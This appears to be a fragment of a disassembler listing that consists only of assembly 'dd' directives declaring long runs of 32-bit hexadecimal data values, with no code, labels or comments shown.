		dd 0F4DD6204h, 0DEE859D1h, 0D84EB61Eh, 0E0709F41h, 8AC810C5h
		dd 0F458C01Eh, 4321AB53h, 540EB870h, 3EA00F25h,	0FE23C207h
		dd 7B08D790h, 0A470C0E6h, 0ABF509B7h, 69835C00h, 9E873033h
		dd 20398EDh, 4AECC140h,	38E14D20h, 31CFF3D1h, 0E3AB7BEBh
		dd 0DC8E2100h, 0BBDA0FBAh, 0C6720081h, 0C0DFEEFBh, 0D00A3B82h
		dd 98CEA47Fh, 7980060Ch, 100B008Bh, 0EA44769Eh,	0E00095CFh
		dd 0A6DC9B09h, 20C997Ch, 482812CCh, 0B8B0E8EBh,	0B008398Bh
		dd 641AFAA6h, 0C302405Dh, 896238h, 0EFDA33BCh, 5414114Ah
		dd 3AB6763Fh, 18C00C53h, 0A54751CDh, 60306430h,	54A91395h
		dd 24F280ABh, 1A7707h, 8F33C07Ch, 3E00546Dh, 0A41964D5h
		dd 8B100Dh, 5B470E3Bh, 53FC9309h, 0A5BF261Dh, 0FF6BCF00h
		dd 60F672C1h, 0F51D50C3h, 0F9032E9Bh, 7AA245A8h, 0A198CB71h
		dd 2080C226h, 562D6583h, 200F84Eh, 0E5D21644h, 3EE17FDh
		dd 0EF0F85CDh, 0A10078D4h, 6374079Dh, 70D60A21h, 0F1AC6C05h
		dd 398C6D78h, 10732EA8h, 8C7B3C0Dh, 8A211Fh, 8B382D62h
		dd 0AAA1D85Ch, 91E36501h, 0CDEB49A9h, 2D78A459h, 6282A612h
		dd 120238Ch, 3639BCh, 8F58C9A4h, 899F5D46h, 1B116B38h
		dd 8A48CF7Eh, 258C49EFh, 73AE3EF4h, 2D300C1h, 0EE6263F8h
		dd 23005259h, 0F193CE81h, 12E06ACCh, 2F47F20Bh,	5D23D4h
		dd 0E8DBA08Dh, 7E1E2227h, 428558C6h, 0A4413E1Eh, 0C4165037h
		dd 0E0FEAC43h, 9AF3F9E8h, 41CC0014h, 42766B17h,	2F1DD5E0h
		dd 0C612EBBBh, 0E9B3CC40h, 7FE6A70Ah, 39300A8h,	0EB6F3744h
		dd 364D4A54h, 4CCF2430h, 59607264h, 0A614B63Ah,	0B0A81B2Ah
		dd 538D10Ch, 0DC489B8Eh, 0A8D8405Ah, 453DA05Bh,	0ED001378h
		dd 6E0976EAh, 3254234h,	170BEF81h, 31245D12h, 6B0329A3h
		dd 1236C6ABh, 47A9F4E9h, 90CA1824h, 16E61CC3h, 0B8844100h
		dd 10BD9920h, 0B2DB03D5h, 8DA9BE35h, 65413103h,	90A09FF1h
		dd 0F894EEh, 376F4C5Fh,	0DB8BC660h, 0E6817212h,	0F5C34444h
		dd 41F86A30h, 979DBD08h, 76514F7Ah, 8233F401h, 0C6C03C77h
		dd 5DB24023h, 0A0F330h,	30E57AFDh, 53E3492Dh, 68A0D00h
		dd 2C0B6E54h, 0FAF6127Eh, 0A8BC5815h, 286F73Fh,	0A8FE2D9Eh
		dd 0E919A7FDh, 2E471410h, 68A2EB00h, 0F9DC972Fh, 892FCh
		dd 89F871FBh, 0B32C5370h, 7667F61Eh, 0B8C79A40h, 244E69D1h
		dd 1F355839h, 78B20622h, 988758F1h, 37601F64h, 3A058767h
		dd 62F89B11h, 211F4497h, 8929508Bh, 0A52C60h, 0E57E5DAh
		dd 0EE70C45Dh, 0BDE87954h, 8384B43Eh, 0DC37B3FCh, 0A3368342h
		dd 0BE2100AEh, 0AE584ACh, 4AE2E738h, 8FF9B307h,	0C7013594h
		dd 85E45382h, 3A4B0006h, 2A1B78B1h, 0F007964Dh,	143C51EEh
		dd 1940CD97h, 1FB649E9h, 0C098F7DDh, 0DECAF3B2h, 2F17AFF5h
		dd 0CD0FC80Eh, 52A6172h, 94D06C71h, 0CA0203C2h,	0DAAD38FAh
		dd 93334000h, 0F9AC7DF4h, 949E0043h, 0B9D999D6h, 0D700F0F6h
		dd 763664CCh, 35CBD66h,	9330F432h, 0A3B8383Ah, 280068C4h
		dd 469AA223h, 0E56257h,	2DED0FDBh, 0C6775288h, 8E180500h
		dd 91264CC3h, 2192072Bh, 0A515CF8Fh, 6CE6004Fh,	398C1759h
		dd 60BB6200h, 313D4675h, 0C6E80670h, 418D7D2Ah,	29661700h
		dd 0EB094BB8h, 8CCE0076h, 49A0C478h, 515828E4h,	0A2D900D0h
		dd 0DB5B85BAh, 7380A03Fh, 0B33C00CAh, 80C97459h, 9D00B744h
		dd 0AF9F90B1h, 782216h,	1423A3E7h, 0E3B5CADCh, 1341B701h
		dd 64BDD142h, 3C1FCh, 9BD7ADC2h, 4AB69031h, 0C52D5B03h
		dd 771D753Eh, 6A9600C1h, 0BAD122D9h, 9A3DD270h,	0ECA06Ch
		dd 69A530FFh, 0E2DDC207h, 159D8300h, 0DAFC040Bh, 25A0A0B2h
		dd 7BA414A0h, 0C600C0F7h, 0B03F6D0Ah, 0BB7C5ACBh, 752E5800h
		dd 0B64C570Eh, 0A1870093h, 0D2AB220Bh, 2C00C788h, 19664E7Ah
		dd 6DF07ECh, 2315D601h,	5100804Dh, 0F74922AAh, 28CF81h
		dd 7383E034h, 918B4E2Dh, 29B53Bh, 2F515015h, 2E1780Bh
		dd 0EDDABE6Bh, 39E09D0Ah, 0D3030332h, 82CA65B4h, 2A41B001h
		dd 0AE7C0080h, 70C2DA5Ch, 7F009F12h, 0B9FF623Fh, 0F65DB0Dh
		dd 2819DF2Bh, 0A802B180h, 5F00379Ch, 3E8A4553h,	0B5B967h
		dd 0E7A572E1h, 0F9E9F2A9h, 8EB13100h, 0BB944424h, 5F603F0h
		dd 0FE516855h, 0C17965B8h, 0F3BE3100h, 82BCD846h, 7C2C78F9h
		dd 5C510048h, 6911A935h, 9831159Ah, 0BDCC0818h,	92BF2081h
		dd 0E0AE0B35h, 7801CDC2h, 881C0E43h, 15704E59h,	614C60D6h
		dd 0B0DD8AD2h, 0F14A2500h, 697ACCB4h, 0B37100C4h, 906F6D31h
		dd 6700FBE0h, 7CBC7FBAh, 16DB52h, 0FE3D98EFh, 27765D60h
		dd 0B9E6E103h, 0B3965AC8h, 0A058A932h, 9C959940h, 7A91826h
		dd 0D25D2062h, 1C361A0Ah, 6F70203Eh, 0B20F8CCBh, 3770BDAh
		dd 0C01B7C64h, 24989Eh,	0D0908403h, 0BC536A99h,	1527C30Ch
		dd 5D280Dh, 0A7973B56h,	31328F16h, 8679933h, 0DB210050h
		dd 0A422971Ch, 0F4484F5Eh, 0B7560002h, 0FEBBE41Bh, 0E8AD0330h
		dd 5BCBA1EAh, 48C617Eh,	25B39717h, 206A626Fh, 56978F3Fh
		dd 7741E3Bh, 0F3A2A683h, 0A9C5F760h, 0ABECDFh, 8C325360h
		dd 23195D59h, 78CA53B0h, 0C2068C65h, 8177Ch, 0C77EBD64h
		dd 0F8128875h, 378D5100h, 309C55B0h, 31596F2Bh,	53DC48Eh
		dd 0C7FE6CAh, 7E3487A8h, 0FDA00D54h, 1E3A958h, 60C670A2h
		dd 88C408Ah, 0CF206BC0h, 0FFE57100h, 5EA0F91Eh,	7B0514AEh
		dd 38EC8075h, 0AA1EC343h, 0AE8C3FDAh, 25F0A379h, 2292030Fh
		dd 0B96AE3A6h, 574C88ABh, 32A9001Fh, 6809FD47h,	0C800DB1Bh
		dd 0B638FB33h, 7C1EE73Bh, 3C130036h, 6EA20455h,	200244B4h
		dd 784985EEh, 570F4054h, 0CF00E7Eh, 0EF002CE1h,	0AD5D881Dh
		dd 0FF9F861Ch, 414E84C1h, 21300ED6h, 92A500E9h,	27C06109h
		dd 1800FF5Dh, 640FEB74h, 0CCAA5Bh, 381A4DF3h, 9904DF35h
		dd 8D01A6EEh, 8C26EBFEh, 1BD8C548h, 0BB61287h, 94BCB4h
		dd 6540D6C8h, 609B1E27h, 0C69048F6h, 7A00DE59h,	82FC3952h
		dd 747565h, 5EE4F29h, 162A6A8Dh, 26867905h, 0CD0CFEDEh
		dd 1949E8h, 0B0232DD9h,	0B9A71B90h, 8CAC5601h, 0EBDBA169h
		dd 5C6B80C8h, 9E030D7Dh, 0FC85E3ADh, 0FAFD6CA0h, 48D49430h
		dd 8729A9h, 9B162E84h, 0DF0AFCAAh, 4FECB4F4h, 0E0EA7100h
		dd 3F5F58F2h, 57F43BD0h, 0CE070980h, 459EC289h,	2579460Ch
		dd 0F9B210CFh, 7383044Eh, 101F9939h, 801A48Fh, 0A7552AB3h
		dd 2B40D0h, 8D36E8E2h, 98D5901Eh, 0F542DA00h, 0CD079D64h
		dd 0BCC000C4h, 165F91FFh, 73E0710Dh, 48CE4001h,	98561E45h
		dd 24A3ECh, 0F88FD92Dh,	638C21BCh, 0B60073E4h, 0D3749F67h
		dd 0CCB913h, 0F1643F57h
		dd 0B3159C8Dh, 78990702h, 8F6D2796h, 65380C5h, 1C82B5D1h
		dd 80CB558Fh, 0CA6C7433h, 5160A650h, 4FFF856Eh,	7037008Bh
		dd 0D68C0EA8h, 0B37638B5h, 0C083AA01h, 0F29B8063h, 328D4h
		dd 9052579Ch, 0AAE6CF6h, 0EF8DC628h, 8E04E507h,	77A0FF99h
		dd 57BEF71h, 86919AECh,	3765C0C8h, 4900B9D5h, 339FD199h
		dd 357354h, 0EE7D32B5h,	4451C75Eh, 9CE90900h, 8F1EC0CCh
		dd 966A00E8h, 299D36D2h, 0AB3EA1DBh, 0BE0501CFh, 0BFA37567h
		dd 0E4771AF8h, 965B1EF1h, 0C080C04Bh, 55EF9FD5h, 9CDFD000h
		dd 0CE69BA7Fh, 96541F62h, 0FE2200C2h, 0A63A5D3h, 9D005DE8h
		dd 210F7328h, 0B5FD82h,	0C7DACAF0h, 1FD85E38h, 6F978A00h
		dd 48588525h, 0CA600DCh, 0E7D07B9Ah, 0CB0F8BD6h, 0C016E047h
		dd 5C4A5078h, 7C3300FDh, 0CEAF12FFh, 0BF397363h, 2F9112A9h
		dd 0F28C2841h, 7AEC577Fh, 33A30082h, 59D86F9Ch,	838E9E3h
		dd 0FB5A00E1h, 84D102B6h, 92AE004Ah, 437ED445h,	0E50093F4h
		dd 8F747A08h, 1D22135Eh, 870223C6h, 20146083h, 599CAA0Fh
		dd 0D28A630Eh, 2630E0D3h, 0F497F20h, 11F2BE3Fh,	10D1B2C7h
		dd 7ADFC523h, 5005B600h, 0E40EF473h, 734BB8A9h,	13D800CEh
		dd 70FF1453h, 0B70081E6h, 0DCEE014Dh, 25F7CCh, 0C46E47F4h
		dd 0F5B30F2Bh, 0D069FF05h, 0CC1D16B6h, 8103D944h, 0C450D880h
		dd 41710E6Bh, 0A820FF7Fh, 6E2B2AC5h, 0D775C100h, 0E9392221h
		dd 0C76B006Ch, 9D87F788h, 2E00995Ah, 89BE8123h,	1EAFBB26h
		dd 59FF7Eh, 0F844DAEDh,	0EC60A23Bh, 8ADFA570h, 97E400FEh
		dd 9E6F6375h, 0C50072CEh, 9D33C694h, 0EB84BFh, 0EC1050F5h
		dd 8730B095h, 5CC23C04h, 0FC90EF20h, 0F2E84F7Fh, 34700B3h
		dd 0C1C9FCEDh, 94068508h, 0A4DD8CCh, 23EE0070h,	4124B853h
		dd 203DEB1h, 15C759F9h,	0E973AF31h, 73D4E8C4h, 11890DFh
		dd 7EE50F24h, 0E0D5F6D3h, 0FB003204h, 4EC3C67Bh, 0ED8C793h
		dd 0A56B04Bh, 0E3C9AF20h, 49078AB7h, 0AADD82E8h, 4810F1C1h
		dd 0C005CA9Eh, 56D6A7CAh, 0FA0236B1h, 235DF6FEh, 46A8414Bh
		dd 90A13030h, 1FB907D0h, 0C0F3C53Fh, 0C844EAB7h, 10D4D501h
		dd 7A83F453h, 52A3F888h, 0FB954800h, 0CEFDF0F9h, 48B2EBE8h
		dd 118002B8h, 0D2B03105h, 9A7A001Bh, 18358C71h,	0F348BA44h
		dd 0AD3E70h, 49FF51DEh,	30B47187h, 0BE9804F9h, 0B601B8CEh
		dd 0D97C19E6h, 37206B3Eh, 0FC0A0375h, 0B4146FAh, 8F324788h
		dd 88EAFD00h, 484DCB23h, 0AD9D0050h, 0DCC73487h, 0BF1EA1FAh
		dd 264FDED0h, 274A0D8h,	0B0CF7288h, 0C005077Fh,	0DFD7537Eh
		dd 7582B200h, 8100C967h, 0C50706F7h, 549E40h, 97AE6329h
		dd 1069622Ch, 652B7500h, 0EAC38260h, 8C9B03C6h,	45158FFBh
		dd 0C3675797h, 0C7888D95h, 0DC00280Eh, 0D519505Fh, 5D416h
		dd 0EBEF4045h, 0AE9CA5AFh, 6D5D9300h, 8023D24Ch, 3F0D009Fh
		dd 5EE12CA2h, 873B51A3h, 0DEB3AC98h, 0A02D0A0Fh, 17C909B9h
		dd 0A40F008Fh, 32C07938h, 31C722EDh, 0B5714h, 93047EBAh
		dd 0FDAF2EACh, 0C077004Fh, 4A0B17ABh, 73DA4100h, 0A895B174h
		dd 0E4D80037h, 0F43B7248h, 0DE0082F3h, 38803DD3h, 0C2BD30h
		dd 0F02FE969h, 9B1C2CD1h, 0D08FB10Ch, 2860FDh, 57F50AFEh
		dd 0C95F67ECh, 25107200h, 535112A7h, 0CC79A2h, 45DCC5EBh
		dd 0B9699498h, 0C0708A16h, 9034E50Ch, 0BFB4005Bh, 0ECACEE30h
		dd 7B00A151h, 8E8F1033h, 0B5C70Dh, 0AFF9A24Ah, 0CB3589DDh
		dd 0F2880600h, 7F79EABEh, 28420927h, 108F5F8Fh,	80691D9Dh
		dd 99F5A347h, 0E9057659h, 9F206BB2h, 8A70B780h,	2164071Bh
		dd 106DC127h, 1EC4E510h, 5918A400h, 0D7DB26B7h,	99E0007h
		dd 415DE0C8h, 25003D96h, 0EF1EF3F2h, 6F77BCh, 0DCAB6BACh
		dd 415C11CEh, 0CFB739h,	0DA96356Ah, 19ACF5h, 0CB246EBFh
		dd 502304E7h, 94DE3A00h, 9B0280E0h, 0DD440081h,	0C93D9309h
		dd 0F03CB9E8h, 51A18084h, 3CFF5BA9h, 96440F04h,	2501CC2Ah
		dd 0E8C80AD6h, 4E7A9A8Dh, 3E7C6A00h, 0BF741A1Ch, 89DE00BAh
		dd 0CFF3346Dh, 60E0FE75h, 0A6002875h, 7850943Eh, 93E2DBh
		dd 0E7F53961h, 0CFB45ACEh, 77ABC607h, 6875E5C7h, 27E63380h
		dd 2AA01D3Eh, 4765804Bh, 0B41711D9h, 0E0B0D07h,	625034EFh
		dd 1CAC4907h, 40406A73h, 8BF563FBh, 6C014D90h, 0C24270E5h
		dd 0C5C0497Eh, 35040069h, 293C01ECh, 0B05C813Eh, 58000EBh
		dd 204A5DDBh, 0DD361821h, 0C1A7F85Fh, 263DFC00h, 0BAABB710h
		dd 0BB9F0473h, 0C02527FBh, 454CF208h, 7FD22D00h, 0C0DB3C98h
		dd 0CBA800B5h, 41079E93h, 6600148Ah, 0CD98393Bh, 210C7Dh
		dd 0A7360885h, 0FC05AAF1h, 0C38CE30Ah, 6540DC31h, 15C8E9h
		dd 0AD4BBE9Ah, 0A01EE6CFh, 0C089870Fh, 0F7B6080h, 48679FFEh
		dd 0B22614A5h, 3081747h, 0A8D98372h, 0AC6C42B0h, 0C1E30705h
		dd 1004C4D1h, 0CDC0D491h, 60AC6ECAh, 12AB2813h,	0BD247B9Fh
		dd 2803C7Eh, 364104A7h,	4D161DE2h, 8279002Eh, 9044DEF4h
		dd 7CEF9800h, 85117FBDh, 46130005h, 92A19325h, 200FB49h
		dd 9E47048Ah, 0FA87E3h,	0B00A439Fh, 0D50C2012h,	0FFE23700h
		dd 137572FBh, 3B7D0095h, 4DBAC6C8h, 90ED3F9h, 1F07949Dh
		dd 0A8FB4A0Ah, 7E1D7E3Dh, 601F10E2h, 1931B826h,	7040C1AFh
		dd 79AE5h, 8AD3430Ah, 3AB19E9Ch, 0D980C600h, 5AB6EED8h
		dd 60300087h, 0FEA5BB07h, 2700DDEBh, 48059D2Ch,	0D17033h
		dd 0B2513ADCh, 0F21B4D01h, 4C230200h, 29C710FAh, 604A0066h
		dd 0EB0383D9h, 843B1E98h, 93C600B2h, 4B89D83Bh,	87163D4Ch
		dd 207B631Ah, 0D093AC20h, 2B787A14h, 6FDA001h, 82F1AF9Dh
		dd 0B1C8C1E7h, 181F68E4h, 303C4384h, 7400B09Eh,	0E0AB1419h
		dd 4415E3h, 5A4A1D36h, 0B19CBDADh, 2463DC0Ch, 60724076h
		dd 0B6D970A0h, 4500A69Fh, 9D7EDC65h, 6F09FAh, 666CB4FFh
		dd 948E3B16h, 0A4071B7Fh, 38A1CDE6h, 17D74030h,	89C201BCh
		dd 0F6E79261h, 71AEE844h, 14F70F07h, 4620E1C9h,	65C223h
		dd 32927699h, 8DD1CA7Ah, 0DD10EE24h, 0F131D700h, 378155h
		dd 45752AC2h, 24E206EBh, 54E7EA00h, 0C0FA57E8h,	10ED67A6h
		dd 0FC04CABAh, 56EFF418h, 11F5C10h, 3DDEAF8Eh, 0C433FB09h
		dd 650178C8h, 53F4EFA0h, 94708558h, 0AC44313Dh,	11DA6D28h
		dd 7F12634Bh, 0CAA33810h, 8147151h, 4B882BB5h, 0A9A28857h
		dd 2CD75588h, 0F66403F0h, 0FFD00BA5h, 11002D13h, 0FBDE56D0h
		dd 159183h, 0AD42AE73h,	0F7E2EF5Bh, 0BA6E4500h,	644EC2B4h
		dd 0EC7A0082h, 0B7FB2C99h, 4004510Dh, 0D906690Eh, 1C1742C0h
		dd 293E00CDh, 4A53A902h, 7004923h, 865A4166h, 3D19A0h
		dd 0DA72AD5Eh, 34F89EE1h, 2DC70500h, 7330F491h,	3B497B75h
		dd 500F04B6h, 13E0074Dh, 0F4DB216Fh, 0BE7A7FF8h, 746C21C0h
		dd 0C07911B4h, 38538AFAh, 0A489C89h, 2A21000Fh,	0E2B1334Ch
		dd 31990225h, 0F003ED6Dh, 67C7D48Fh, 7EF58056h,	0EA66CDE9h
		dd 0F7009B1h, 0B54C1707h, 5DE2DDA0h, 3D0127C1h,	4DE1499Eh
		dd 45300CD4h, 0A70700CAh, 2C4FB0E0h, 3400AF14h,	0FBF4BF3Dh
		dd 4A5CC4h, 197BCF8Eh, 6150BA1Ah, 5D334000h, 0AD14DC6Ah
		dd 0A09D248Ch, 0F4A1073Ch, 6D4E308Eh, 0F100D256h, 0E29B8297h
		dd 0B020508h, 37A68999h, 0BC850980h, 0C200CDFCh, 0AF91232Bh
		dd 750129Dh, 423EED77h,	0E056607Ah, 0E607A743h,	76F2907Bh
		dd 0FC715590h, 70490034h
		dd 975E8615h, 80028A8Ch, 61DA179Bh, 0E5216077h,	41AC0012h
		dd 6FE213C6h, 6900B0A6h, 575D3D3Bh, 753642BEh, 9C20601Bh
		dd 924C1C2Eh, 0EDEC8600h, 38FA4E2h, 0B9883EE8h,	40F900F8h
		dd 0F75ED8D5h, 3A0037F8h, 3660BCAh, 1205904Ah, 0D05573h
		dd 143F839Ch, 0FB017226h, 0A9226380h, 0CCD47B01h, 0E54600ABh
		dd 0F95E23F3h, 900E84Bh, 0D890DE7Ch, 1FA770h, 4A3297B5h
		dd 8B614D1Bh, 5E004CE6h, 0B669079Fh, 0F6946034h, 4F240009h
		dd 1721ACDFh, 0CC00D11Eh, 0F41DC3C2h, 2EAF175h,	185B4C34h
		dd 406FCEh, 0E09FD225h,	76A7CC84h, 0E07C62h, 75D83C67h
		dd 0AF3E5D52h, 38A4F0Eh, 0F3AA24FAh, 6F234C87h,	34D800E9h
		dd 214B7694h, 450083F0h, 0EB179EF8h, 28F16481h,	868C3Eh
		dd 383947A7h, 0E722BE93h, 0B292DB00h, 98BD57CDh, 163200F7h
		dd 3D097973h, 87005F40h, 0C10DF246h, 679B3043h,	0A0A040DDh
		dd 41388BFEh, 85D36400h, 0B7C917F5h, 8471C5h, 0B6ABF4B1h
		dd 8E2FFA45h, 8960DB3Ch, 9D5692h, 73DA8544h, 197E00A6h
		dd 0CD6EA1ABh, 0A9001BD1h, 79B41378h, 3BD9524Fh, 14005065h
		dd 0D16330C5h, 0A0033FA2h, 12FEEC60h, 9CCC889Eh, 1BEF03BFh
		dd 0AAD10AA4h, 7AF1AE88h, 5DC51100h, 1A35DF97h,	3C9A75C6h
		dd 3000E67Fh, 193E5351h, 0D3074788h, 70A96ED7h,	397644C0h
		dd 0F863E69Ah, 6239C0F3h, 0AB3886BFh, 0A02D600h, 0C583F4E8h
		dd 0AF270023h, 19CE377Fh, 0E400EB01h, 0E9222180h, 7D2B3Eh
		dd 1E29B0FDh, 0B810B6CBh, 730E6800h, 0EF45A08Dh, 0E08A00ACh
		dd 59729AD4h, 4C000BEDh, 183A139Eh, 0F7F38h, 0D0622F24h
		dd 878AD11h, 0E18ACA00h, 3101D7ECh, 4DE600C5h, 0D12A9FD8h
		dd 69036DF4h, 0F62EEE23h, 6878A8BFh, 906A1E61h,	5E484008h
		dd 0FB191758h, 0E022EE00h, 60370AEBh, 34D900D4h, 7E43D012h
		dd 9100EA90h, 2E7DF2D5h, 1678463h, 0A43DE070h, 0D7AE49BCh
		dd 4EDF0087h, 910E8DFAh, 0D8F2FF6Ch, 111B10h, 3D64BFB0h
		dd 1029A960h, 6891A400h, 0C234A187h, 0DECB003Ah, 96B60CB0h
		dd 0E40285F3h, 0A44A18E8h, 0FBE3E0C1h, 0B0283BAEh, 2B92200h
		dd 1115E11Ch, 0F457DB1Ch, 0ED6662C1h, 4B30980Dh, 9DB90055h
		dd 5ED618C8h, 8400FF4Dh, 7ADA3525h, 749945h, 0E65F86AEh
		dd 0BCF723E5h, 871FAC3Eh, 0FF9FEF15h, 0AF545Ch,	0A0A4A8B3h
		dd 8EF11339h, 74F74601h, 549848D4h, 3AD0D4h, 790FA2C4h
		dd 3FB2B17Bh, 65E86E00h, 0FC969798h, 7C7A6Fh, 0DEA8FF15h
		dd 0BF0633F2h, 6BF7C100h, 7A6470B8h, 4399001Eh,	55458F6Dh
		dd 0BB246F15h, 8A1C8458h, 526C0C0h, 9621F3h, 0D479FCB6h
		dd 2C4CA549h, 1F1C3103h, 0CBFB5132h, 3062A09Ah,	0AA7B00FFh
		dd 0B72B71BEh, 673DB36Ah, 0B901F577h, 2E4135D1h, 0DCDC84E4h
		dd 7B80008Bh, 8A3F95ABh, 0FDB001FAh, 89E8BB5Bh,	788C007Fh
		dd 96E39106h, 6400758Fh, 0ACE882EAh, 9B090BDh, 3546E632h
		dd 5564780Eh, 40C780ADh, 0F307E8F9h, 0DCC73AB1h, 0A2BAB3h
		dd 0FE1E1198h, 0B08E0DD0h, 60E1F700h, 69921CF9h, 97E21DC2h
		dd 82CF8136h, 0C81A7A54h, 0AF3175ACh, 216441A8h, 4D084500h
		dd 0E85FC000h, 2A5C7CBCh, 3B87CE0h, 0F1853D3Ah,	0BE880BDCh
		dd 741DB1A7h, 8641E1FFh, 8B9EFB57h, 1408CCE0h, 0D8314A50h
		dd 52A04500h, 33470F56h, 0C61CB476h, 6E401B91h,	88FC7BFEh
		dd 121A0115h, 513B4D87h, 0C7188271h, 87DD791Eh,	832004E5h
		dd 18CB7515h, 58F8AC9Eh, 0C07F2833h, 0AD4ADF00h, 0BF5C55DCh
		dd 1EBB061Ch, 0D815C92Ch, 276923Ch, 68C38089h, 0AD21607Fh
		dd 0A83D0051h, 3C36A7D3h, 0D6000CC2h, 6344209Dh, 4DDCF7h
		dd 6BCF233Ah, 0A245586Ch, 2F00C9B8h, 0FB713B49h, 126476h
		dd 1ABCF07Ah, 1B205A9Bh, 0F600F871h, 0B8E490B5h, 0AB2FE5h
		dd 0C7E1D226h, 126CB001h, 0C09F177h, 3DDC45h, 318BC8Ah
		dd 0B84E62Ch, 8AFC7CE4h, 54909E80h, 14007E59h, 61269880h
		dd 0A0C1C6B1h, 128736CCh, 912742h, 673AA890h, 0AB184A98h
		dd 0EBECC5E5h, 889D0065h, 0A1717599h, 7C00C783h, 0D504E94Bh
		dd 0E0A903Fh, 0B11E15F9h, 7B9F4122h, 2C6D0840h,	155A89h
		dd 582B2828h, 0F01C3463h, 0E800E24Bh, 0D3FD9CC1h, 4A80001h
		dd 5230EE0Bh, 0D230EB81h, 5C06F0B0h, 0ABB11DCCh, 8544005h
		dd 3A9129B9h, 577C0B00h, 0AFAA42A1h, 0CB360025h, 0C8346D68h
		dd 0F7005953h, 0DD4F981Ch, 5D7C3Fh, 201B5C50h, 776C1CFh
		dd 6AFB6000h, 0BE804A1Ah, 0F34E78C8h, 5D294480h, 5374E0A0h
		dd 7649E800h, 727E7179h, 613202D0h, 0E5772112h,	5C8DB480h
		dd 2B72C0A6h, 41461700h, 6E890E78h, 275B1616h, 406E1E0Fh
		dd 0E6EF99F8h, 25786F66h, 0BD26CC05h, 0FC00B4ACh, 0E018FD21h
		dd 0C96E0E8Dh, 0AE21D6D9h, 20025B94h, 0E971BFC9h, 0E453D500h
		dd 84C70369h, 17160052h, 74DE0A5Ah, 0F500C9EFh,	0F4686AACh
		dd 9522AFh, 0F3899C0Ch,	5CBDC394h, 6C41D500h, 679096E0h
		dd 0F8810382h, 94A95156h, 29EBC5A0h, 0A00EE0E6h, 0E098BCADh
		dd 0E0FE947h, 0CD540AFCh, 0E51E7Dh, 2CD0713Dh, 0CE001AA4h
		dd 0ECA0FDC3h, 0AF765h,	6C872419h, 305C9DD0h, 0FBBDCC07h
		dd 5330F571h, 61DB8B55h, 0C6A7D644h, 666460D8h,	7BAA7539h
		dd 3E46F900h, 4AEA9AA9h, 76250E99h, 0BB20EBF2h,	0A4ACF068h
		dd 2386000h, 2B1EC13Eh,	2C19001Fh, 0E423AB25h, 9900E7BDh
		dd 8F103433h, 754768CDh, 39B7E06Fh, 0C008369h, 0A2744A28h
		dd 0DB0048B8h, 0A546352Dh, 5BF782Eh, 0A30134C7h, 583480E0h
		dd 0F33F194Eh, 2638F2h,	7AB5F4C0h, 0B0B2E752h, 0C3B90520h
		dd 0BB33EB46h, 45A9CC00h, 3B753793h, 0FA80D127h, 3E35084Dh
		dd 0E903AF31h, 942ED31Dh, 0FCFFF881h, 0B949244h, 13DC3AF1h
		dd 944D3E81h, 0EE99D817h, 0C932C00h, 28C45B14h,	7DEC0031h
		dd 0D0480B05h, 17004F52h, 996A5DB9h, 0DED4BCh, 4E68697Ch
		dd 0EA3596CCh, 0C5E85200h, 7B5043EEh, 92AE3922h, 4F80A0BAh
		dd 0A4E32BC9h, 4900EC09h, 5E4AA137h, 0E25FA767h, 4CC801B2h
		dd 30EBDEB6h, 7014F93Ch, 12044E96h, 831EE077h, 20E2BCC0h
		dd 10B80196h, 7A4A264Bh, 6674F031h, 0D585C400h,	0EAC791EEh
		dd 9DE45Ah, 0E171BA18h,	256075E2h, 5F232100h, 64894EC7h
		dd 9B150EB0h, 1A00911Ch, 3D2EDF33h, 0DA80BF00h,	0EEC390B9h
		dd 85413E4Dh, 0C0B55E9Eh, 1DCD3D2h, 1D724A37h, 37CD058h
		dd 1FD56CBBh, 324CA03Eh, 0C6BA0027h, 0A4E9554Eh, 0AE0035B3h
		dd 0CEDB85F8h, 1FF7956h, 3FB1E85Dh, 0CD0A540Bh,	2F28FC60h
		dd 1247E139h, 0CC00BFF0h, 0F7253B83h, 873F01EDh, 98FC5D97h
		dd 0E17ADCD6h, 38856400h, 47E24973h, 5B5401CAh,	37503D3Bh
		dd 0A30320DDh, 408EAA1Ch, 86400C1Dh, 321263EBh,	56241665h
		dd 0E40B0F34h, 95503740h, 851EE24Dh, 6CC0B226h,	33C70193h
		dd 61120176h, 50F19FFCh, 0D8FC8ADh, 6D32CC00h, 0F2DAFFF9h
		dd 88520074h, 76B0A3D2h, 0CA07AC40h, 5314B122h,	0C8A0AF53h
		dd 0E3E6D6h, 5CB79417h,	1040C1D8h, 25C6F900h, 39AE7E9Ch
		dd 12C7AA1h, 476C9180h,	209B54D8h, 71033E70h, 0FFE44832h
		dd 707AE07Ch, 0F94101DDh, 0D395BF9Eh, 0A9A020FBh, 8044AF5Ch
		dd 0CA1798C0h, 0F309076Ch, 0B0356E2Eh, 1B56D668h, 0D03E5D0Eh
		dd 8429A09Fh, 79B2EA2h,	0E95BF207h, 4B2AF0C4h, 660031B1h
		dd 1FE22DFBh, 545A03h
		dd 0AE191EDDh, 0D6B52CE7h, 2CCCF02Eh, 12347C00h, 0E40A67h
		dd 0BE3F4E47h, 0DB6F5968h, 0AF219500h, 0C6485A4Ah, 27FD0h
		dd 9B2518F7h, 36D2E198h, 0AD90A107h, 22401D03h,	4C4144h
		dd 0C13B3CAAh, 78308D35h, 5585C707h, 608E53D4h,	387D8F20h
		dd 76A70722h, 9012E167h, 31F7950Eh, 158B4200h, 9240AE2Ch
		dd 87AF00DDh, 0C9C4C504h, 30003F50h, 0D1847AB0h, 0FB0841h
		dd 0B8B1127Ch, 6226DF99h, 865FF8A0h, 0A868BC00h, 95ED93Eh
		dd 3F960092h, 0F608A98Ah, 0D107BD98h, 0E4A0650Ah, 0AD4260DFh
		dd 19E2F3h, 5C999A74h, 0D5C0920Ch, 50B1C400h, 364DD198h
		dd 7A7167Bh, 0D640047h,	939B7315h, 0F7A4970Eh, 232460A1h
		dd 0F2C9B9h, 0EF3A266Bh, 7A280367h, 0A665B603h,	0C00FB57Eh
		dd 0E295B913h, 1791FFCh, 337B00EEh, 428BEB9Eh, 0DD6BAE05h
		dd 5C57F85h, 0EF72409h,	0E71664DCh, 8D6F4890h, 1EF607B5h
		dd 55808B58h, 0F9F0D18Ch, 0E4FC245Eh, 973C6E00h, 6C786B9h
		dd 2E30025h, 0FFB55CFBh, 4000C0DCh, 0B8E638C8h,	0FB51A084h
		dd 307011D1h, 0A49F0550h, 8135ED08h, 0EFD30100h, 8F3695E0h
		dd 26866A00h, 0BF193B11h, 27200059h, 0F75CE71Fh, 621C5168h
		dd 4F806BC9h, 9CFC05DAh, 0E4790066h, 27781BE3h,	7E1CD84Eh
